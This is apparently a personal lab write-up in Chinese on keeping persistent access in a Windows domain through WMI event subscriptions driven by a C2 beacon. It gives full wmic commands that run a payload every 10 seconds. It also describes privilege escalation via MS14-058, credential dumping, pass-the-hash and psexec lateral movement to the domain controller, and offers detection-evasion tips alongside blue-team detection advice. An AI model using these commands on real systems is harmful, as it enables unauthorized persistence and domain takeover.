1218 字
6 分钟
WMI长期订阅配合C2进行域内权限维持(CommandLineEventConsumer消费者)
WMI长期订阅配合C2进行域内权限维持(CommandLineEventConsumer消费者)
声明
- 本文为个人搭建域环境,经查阅资料学习尝试WMI订阅权限维持的过程记录,本人能力有限若有谬误之处欢迎指正,博客所有文章纯属学习之用,不涉及商业利益,如有不合适引用,请通过主页联系方式联系我删除。
- 文中涉及的所有工具使用请符合当地法律法规,未经授权造成的后果本人概不负责。
WMI事件运行原理
WMI(Windows Management Instrumentation)事件是Windows系统中用于监控和响应系统变化的重要机制。它通过事件过滤器和事件消费者的组合,允许用户对特定事件进行订阅并触发相应的操作,本文正是通过以下三部实现WMI订阅来维持权限:
- 创建一个事件过滤器,定义一个WQL查询,使用__TimerEvent创建一个每10秒触发一次的计时器事件。
- 创建一个事件消费者,定义一个 CommandLineEventConsumer,指定触发时要执行的命令 cmd.exe /c c:\owo.exe。
- 将过滤器与消费者绑定,使每次计时器事件触发时自动执行该命令。
域环境介绍以及大致流程
- 域名为OWO,DC地址为192.168.130.10,web服务器地址为192.168.130.12,为了简单演示只打开了域内这两台机器,大概计划是从web服务器上传C2生成的windows的exe文件,拿到web服务器,提权到管理员以上权限,利用WMI持久化订阅进行权限维持验证,然后横向移动到域控机器,对域控机器也进行权限维持。
实现步骤
- C2创立并指定listener,生成windows可执行文件payload。

- 利用漏洞将owo.exe上传到域内web服务器已知目录下,点击后在C2看到服务器已上线。

- 利用C2的beacon交互执行
shell systeminfo查看系统相关信息,以及打的补丁,发现是win7系统,搜索对比发现少好几个补丁,包括ms14-058的补丁。
- 使用elevate指令,执行ms14-058的利用(可以通过导入插件扩展漏洞利用脚本),稍作等待,system权限的主机上线。

- 按照顺序执行以下指令(注意在beacon界面每句指令前加shell拼接执行wmic语句):
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BugSecFilter", EventNamespace = "root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __TimerEvent WITHIN 10 WHERE TimerID = 'BugSecFilter'"来注册一个 WMI 事件过滤器。wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BugSecConsumer", CommandLineTemplate="cmd.exe /c c:\owo.exe"来注册一个 WMI 事件消费者。wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter='\\.\root\subscription:__EventFilter.Name="BugSecFilter"', Consumer='\\.\root\subscription:CommandLineEventConsumer.Name="BugSecConsumer"'将事件消费者绑定到事件过滤器。
- 将system会话关掉等待自动连接,过了一阵SYETEM重新上线,所预期的权限维持成功。

- 通过C2插件一键抓取域内密码(当前有管理员以上权限),抓到域控的NTLM HASH以及明文密码,先用C2内置的mimikatz进行PTH,向Windows登录会话中注入凭据。

- 使用beacon的jump功能,通过psexec64进行横向移动至域控。

- 进入交互窗口查看ip,是我们的域控主机,后续按照上面也可以创建wmi订阅等方法进行权限维持。

其它补充与收获总结
- WMI订阅指令和原理参考了文章’https://zhuanlan.zhihu.com/p/659013115’。
- WMI订阅的检测与规避:
- 对于蓝队:可通过上面文章中的查询指令来查看机器的过滤器、消费者以及绑定关系,留意消费者的CommandLineTemplate可疑命令,若有异常事件用指令进行清理,并监控 root\subscription 命名空间的变更。
- 对于红队:将CommandLineTemplate中的命令编码或拆分,避免明文出现敏感路径、使用ActiveScriptEventConsumer执行更复杂的脚本逻辑、 设置更长的触发间隔减少日志。
- 关于上一条提到的ActiveScriptEventConsumer,是另一种消费者类(ASEC),‘https://blog.csdn.net/QHH_QHH/article/details/49183271’这篇文章有讲解,与本文的CommandLineEventConsumer不同的是该消费者能够执行VBScript和JScript脚本源码(源码上传wmi存储库可以通过编写.mof文件,用mofcomp.exe加载或者用powershell直接创建含脚本源码的实例,这样可以做到无文件落地),该文章利用系统自带的SYSTEM进程scrcons.exe作为脚本宿主进行解析,故脚本执行权限为SYSTEM,唯一缺陷为多一个scrcons.exe进程,但总体上更隐蔽。
- 7-8步执行原因:CS的jump psexec64默认使用当前Beacon进程自身访问令牌进行远程认证,虽然是SYSTEM权限但是跨主机访问并没有有效凭证,SMB认证失败,故手动PTH注入后,再次执行jump成功认证DC。
WMI长期订阅配合C2进行域内权限维持(CommandLineEventConsumer消费者)
http://124.70.202.140/posts/post-26/26/ 部分信息可能已经过时







